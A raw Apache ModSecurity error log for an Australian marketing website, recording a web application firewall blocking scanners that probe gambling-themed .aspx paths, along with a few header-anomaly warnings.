[Fri Feb 13 22:53:40.238821 2026] [:error] [pid 18097:tid 18100] [client 54.37.252.192:32850] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aY869HFzYiQ_BfaDDlZTvQAAAYE"]
[Fri Feb 13 22:53:42.710492 2026] [:error] [pid 49225:tid 49296] [client 54.37.252.192:44878] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aY869jwH8-zGxtAd3jso6AAAAII"]
[Fri Feb 13 22:53:45.523724 2026] [:error] [pid 47080:tid 47100] [client 54.37.252.192:44882] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aY86-UbWJwYCVF39z6t3mgAAAcw"]
[Fri Feb 13 22:53:48.275346 2026] [:error] [pid 49223:tid 49245] [client 54.37.252.192:44896] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aY86_B8A_fZBamNLnfWGQQAAAA0"]
[Fri Feb 13 22:53:50.867109 2026] [:error] [pid 46821:tid 46829] [client 54.37.252.192:44910] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aY86_o6G1N5YSq0J0gctggAAAUY"]
[Fri Feb 13 22:53:53.545646 2026] [:error] [pid 49223:tid 49239] [client 54.37.252.192:43184] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aY87AR8A_fZBamNLnfWGSAAAAAc"]
[Fri Feb 13 22:53:56.230465 2026] [:error] [pid 47575:tid 47591] [client 54.37.252.192:43194] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aY87BAIPBuXb07mA_mTo8AAAAss"]
[Fri Feb 13 22:53:58.740698 2026] [:error] [pid 47080:tid 47101] [client 54.37.252.192:43202] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aY87BkbWJwYCVF39z6t3qgAAAc0"]
[Fri Feb 13 22:54:01.564998 2026] [:error] [pid 49225:tid 49295] [client 54.37.252.192:43216] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aY87CTwH8-zGxtAd3jspAAAAAIE"]
[Fri Feb 13 22:54:03.953002 2026] [:error] [pid 51243:tid 51249] [client 54.37.252.192:55438] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aY87C8im7ZTAHzi7xZvl-gAAAQQ"]
[Fri Feb 13 22:54:06.675759 2026] [:error] [pid 47575:tid 47584] [client 54.37.252.192:55454] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aY87DgIPBuXb07mA_mTpAgAAAsQ"]
[Fri Feb 13 22:54:09.295599 2026] [:error] [pid 49223:tid 49233] [client 54.37.252.192:55458] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aY87ER8A_fZBamNLnfWGXAAAAAE"]
[Fri Feb 13 22:54:11.849209 2026] [:error] [pid 49335:tid 49351] [client 54.37.252.192:44560] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aY87E6p--SFY2nwOiqmGsQAAAM4"]
[Fri Feb 13 22:54:14.433263 2026] [:error] [pid 49225:tid 49315] [client 54.37.252.192:44566] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aY87FjwH8-zGxtAd3jspCgAAAJU"]
[Fri Feb 13 22:54:17.020440 2026] [:error] [pid 18097:tid 18111] [client 54.37.252.192:44582] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aY87GXFzYiQ_BfaDDlZT2wAAAYw"]
[Sat Feb 14 00:31:48.148213 2026] [:error] [pid 47575:tid 47596] [client 119.28.177.175:40934] [client 119.28.177.175] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aY9R9AIPBuXb07mA_mT8kgAAAs8"]
[Sat Feb 14 05:12:02.914378 2026] [:error] [pid 21785:tid 21820] [client 216.73.216.60:44536] [client 216.73.216.60] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||measureyourbrand.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aY-TogOBjP5pmZ2xNN4rqgAAAYY"]
[Sat Feb 14 05:25:10.199717 2026] [:error] [pid 58882:tid 58900] [client 182.42.111.213:43765] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY-Wtp5gZqnf2Itlwao4uQAAAdA"]
[Sat Feb 14 08:57:59.695108 2026] [:error] [pid 21299:tid 21310] [client 38.242.236.112:38424] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aY_IlyOQKXTT1MWe_sD-zQAAAMg"]
[Sat Feb 14 08:58:03.796875 2026] [:error] [pid 21299:tid 21314] [client 38.242.236.112:52666] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aY_ImyOQKXTT1MWe_sD-0wAAAMw"]
[Sat Feb 14 08:58:07.670469 2026] [:error] [pid 21196:tid 21270] [client 38.242.236.112:52676] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aY_In_tQbaugyUK6TM-hAgAAAIw"]
[Sat Feb 14 08:58:10.684819 2026] [:error] [pid 21299:tid 21323] [client 38.242.236.112:59628] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aY_IoiOQKXTT1MWe_sD-1gAAANU"]
[Sat Feb 14 08:58:13.669326 2026] [:error] [pid 21195:tid 21249] [client 38.242.236.112:59636] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aY_Ipd_2sARdLQ6dpsVdiQAAAFI"]
[Sat Feb 14 08:58:16.857113 2026] [:error] [pid 21195:tid 21244] [client 38.242.236.112:59650] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aY_IqN_2sARdLQ6dpsVdjQAAAE0"]
[Sat Feb 14 08:58:20.147721 2026] [:error] [pid 21195:tid 21237] [client 38.242.236.112:47796] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aY_IrN_2sARdLQ6dpsVdjwAAAEY"]
[Sat Feb 14 08:58:23.384723 2026] [:error] [pid 21195:tid 21234] [client 38.242.236.112:47812] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aY_Ir9_2sARdLQ6dpsVdlAAAAEM"]
[Sat Feb 14 08:58:26.597528 2026] [:error] [pid 21196:tid 21265] [client 38.242.236.112:47828] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aY_IsvtQbaugyUK6TM-hIgAAAIc"]
[Sat Feb 14 08:58:30.267073 2026] [:error] [pid 21299:tid 21306] [client 38.242.236.112:33210] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aY_ItiOQKXTT1MWe_sD-4wAAAMQ"]
[Sat Feb 14 08:58:33.378117 2026] [:error] [pid 21784:tid 21808] [client 38.242.236.112:33220] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aY_Iua1lOIszF3YGN_-bMQAAAVU"]
[Sat Feb 14 08:58:36.565526 2026] [:error] [pid 21299:tid 21319] [client 38.242.236.112:33226] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aY_IvCOQKXTT1MWe_sD-7wAAANE"]
[Sat Feb 14 08:58:39.879598 2026] [:error] [pid 21299:tid 21310] [client 38.242.236.112:42476] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aY_IvyOQKXTT1MWe_sD--QAAAMg"]
[Sat Feb 14 08:58:43.167302 2026] [:error] [pid 21195:tid 21235] [client 38.242.236.112:42488] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aY_Iw9_2sARdLQ6dpsVdmwAAAEQ"]
[Sat Feb 14 08:58:46.094393 2026] [:error] [pid 21196:tid 21272] [client 38.242.236.112:42500] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aY_IxvtQbaugyUK6TM-hRQAAAI4"]
[Sat Feb 14 08:58:48.882448 2026] [:error] [pid 21752:tid 21766] [client 38.242.236.112:41906] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aY_IyBOc0bldMgpeu12KxgAAAQw"]
[Sat Feb 14 08:58:51.791335 2026] [:error] [pid 21784:tid 21794] [client 38.242.236.112:41912] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aY_Iy61lOIszF3YGN_-bRgAAAUc"]
[Sat Feb 14 08:58:54.755614 2026] [:error] [pid 21785:tid 21820] [client 38.242.236.112:41918] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aY_IzgOBjP5pmZ2xNN5tUwAAAYY"]
[Sat Feb 14 08:59:19.611786 2026] [:error] [pid 21784:tid 21794] [client 38.242.236.112:41928] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aY_I561lOIszF3YGN_-bdwAAAUc"]
[Sat Feb 14 08:59:22.234747 2026] [:error] [pid 21752:tid 21767] [client 38.242.236.112:40842] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aY_I6hOc0bldMgpeu12K9QAAAQ0"]
[Sat Feb 14 08:59:24.913044 2026] [:error] [pid 21195:tid 21243] [client 38.242.236.112:40852] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aY_I7N_2sARdLQ6dpsVd6gAAAEw"]
[Sat Feb 14 08:59:27.669184 2026] [:error] [pid 21195:tid 21251] [client 38.242.236.112:40856] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aY_I79_2sARdLQ6dpsVd8AAAAFQ"]
[Sat Feb 14 08:59:30.361923 2026] [:error] [pid 21196:tid 21260] [client 38.242.236.112:55808] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aY_I8vtQbaugyUK6TM-hfgAAAII"]
[Sat Feb 14 08:59:33.166236 2026] [:error] [pid 21196:tid 21275] [client 38.242.236.112:55810] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aY_I9ftQbaugyUK6TM-hgAAAAJE"]
[Sat Feb 14 08:59:35.977745 2026] [:error] [pid 21752:tid 21764] [client 38.242.236.112:55812] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aY_I9xOc0bldMgpeu12LFwAAAQo"]
[Sat Feb 14 08:59:39.006060 2026] [:error] [pid 58882:tid 58901] [client 38.242.236.112:36304] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aY_I-55gZqnf2ItlwapqswAAAdE"]
[Sat Feb 14 08:59:41.852488 2026] [:error] [pid 58882:tid 58885] [client 38.242.236.112:36308] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aY_I_Z5gZqnf2ItlwapqvgAAAcE"]
[Sat Feb 14 08:59:44.962469 2026] [:error] [pid 21194:tid 21204] [client 38.242.236.112:36318] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aY_JAIW0MV8dvwNvAHo3RAAAAAE"]
[Sat Feb 14 08:59:47.863644 2026] [:error] [pid 21194:tid 21225] [client 38.242.236.112:36334] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aY_JA4W0MV8dvwNvAHo3SAAAABY"]
[Sat Feb 14 08:59:50.865752 2026] [:error] [pid 58882:tid 58905] [client 38.242.236.112:48034] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aY_JBp5gZqnf2Itlwapq1AAAAdU"]
[Sat Feb 14 08:59:53.535778 2026] [:error] [pid 21196:tid 21273] [client 38.242.236.112:48038] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aY_JCftQbaugyUK6TM-hmAAAAI8"]
[Sat Feb 14 08:59:56.454328 2026] [:error] [pid 21752:tid 21767] [client 38.242.236.112:48042] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aY_JDBOc0bldMgpeu12LJwAAAQ0"]
[Sat Feb 14 08:59:59.265134 2026] [:error] [pid 21195:tid 21245] [client 38.242.236.112:57080] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aY_JD9_2sARdLQ6dpsVeEQAAAE4"]
[Sat Feb 14 09:00:02.118949 2026] [:error] [pid 21752:tid 21761] [client 38.242.236.112:57086] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aY_JEhOc0bldMgpeu12LLAAAAQc"]
[Sat Feb 14 09:00:05.591479 2026] [:error] [pid 21195:tid 21245] [client 38.242.236.112:57090] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aY_JFd_2sARdLQ6dpsVeMwAAAE4"]
